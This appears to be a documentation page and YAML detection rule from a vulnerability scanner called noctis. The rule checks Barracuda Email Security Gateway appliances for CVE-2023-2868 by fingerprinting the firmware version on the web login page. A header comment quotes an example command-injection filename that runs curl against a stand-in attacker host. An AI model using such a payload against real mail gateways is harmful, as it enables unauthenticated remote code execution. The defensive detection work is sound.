Barracuda Email Security Gateway — 1 vulnerability check
noctis ships 1 vulnerability check for Barracuda Email Security Gateway, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Barracuda Email Security Gateway TAR Filename Command Injection RCE
| CVE | CVE-2023-2868 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | set_var, http_request, match · highest QoD 50 |
| Feed | tests/vulnerabilities/barracuda-esg/CVE-2023-2868.yaml |
Tests Barracuda ESG for CVE-2023-2868 via version detection on the web management interface. Fetches /cgi-bin/userlogin.cgi and extracts the firmware version from the HTML comment. Versions below 9.2.0.006 are vulnerable to unauthenticated RCE via malicious TAR attachment filenames processed by the inbound SMTP scanning pipeline.
How noctis detects it
- HTTP(S) request
GET /cgi-bin/userlogin.cgi - Checks
login_resp.bodyforBarracuda|Email Security Gateway - Checks
login_resp.bodyforfirmware-version:\s*9\.2\.0\.00[1-5]→ finding QoD 50: Barracuda ESG firmware < 9.2.0.006 detected — vulnerable to CVE-2023-2868 TAR filename command injection (UNC4841 zero-day)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2023-2868
- https://www.barracuda.com/company/legal/esg-vulnerability
- https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally
- https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-209a
Feed source — tests/vulnerabilities/barracuda-esg/CVE-2023-2868.yaml
# Barracuda Email Security Gateway TAR Filename Command Injection — CVE-2023-2868
#
# The ESG Perl email processing pipeline passes TAR attachment filenames to qx{}
# without sanitisation, enabling shell command injection via crafted filenames
# (e.g. a.tar;curl${IFS}attacker.com;). Exploitation requires only sending an
# email to any recipient behind the ESG — no authentication needed.
#
# Safe detection: version fingerprint via the ESG web management login page.
# The firmware version is embedded as an HTML comment; versions < 9.2.0.006
# are vulnerable (Barracuda recommended physical appliance replacement for all
# affected units). QoD 50 — version-based, no exploitation attempt.
#
# KEV (CISA, 2023-05-26) | EPSS 0.870 (99.7th percentile) | UNC4841 (China-nexus APT)
uid: 4851d27c-fe24-4283-9529-9460716e0878
name: "Barracuda Email Security Gateway TAR Filename Command Injection RCE"
description: |
Tests Barracuda ESG for CVE-2023-2868 via version detection on the web
management interface. Fetches /cgi-bin/userlogin.cgi and extracts the
firmware version from the HTML comment. Versions below 9.2.0.006 are
vulnerable to unauthenticated RCE via malicious TAR attachment filenames
processed by the inbound SMTP scanning pipeline.
cves: [CVE-2023-2868]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.20
tags: [barracuda, esg, email, command-injection, rce, tar, kev, version-detection, unc4841]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2023-2868"
- "https://www.barracuda.com/company/legal/esg-vulnerability"
- "https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally"
- "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-209a"
steps:
- id: init-vars
action: set_var
var_name: esg_detected
var_value: false
# Fetch the ESG web management login page — firmware version in HTML comment
- id: login-probe
action: http_request
method: GET
path: /cgi-bin/userlogin.cgi
port: "{{port}}"
tls_insecure: true
follow_redirects: true
timeout_secs: 10
store_as: login_resp
# Confirm this is a Barracuda ESG management interface
- id: identity-match
action: match
source: login_resp.body
pattern: "Barracuda|Email Security Gateway"
case_insensitive: true
condition: "login_resp.status == 200"
on_match:
set_vars:
esg_detected: true
# Extract firmware version from HTML comment — match versions < 9.2.0.006
# Pattern covers the 9.2.0.00x series prior to the patched Hotfix 1 (9.2.0.006)
- id: version-match
action: match
source: login_resp.body
pattern: "firmware-version:\\s*9\\.2\\.0\\.00[1-5]"
condition: "esg_detected == true"
on_match:
finding:
confidence_delta: 0.35 # 0.20 + 0.35 = 0.55
qod: 50
evidence: "Barracuda ESG firmware < 9.2.0.006 detected — vulnerable to CVE-2023-2868 TAR filename command injection (UNC4841 zero-day)"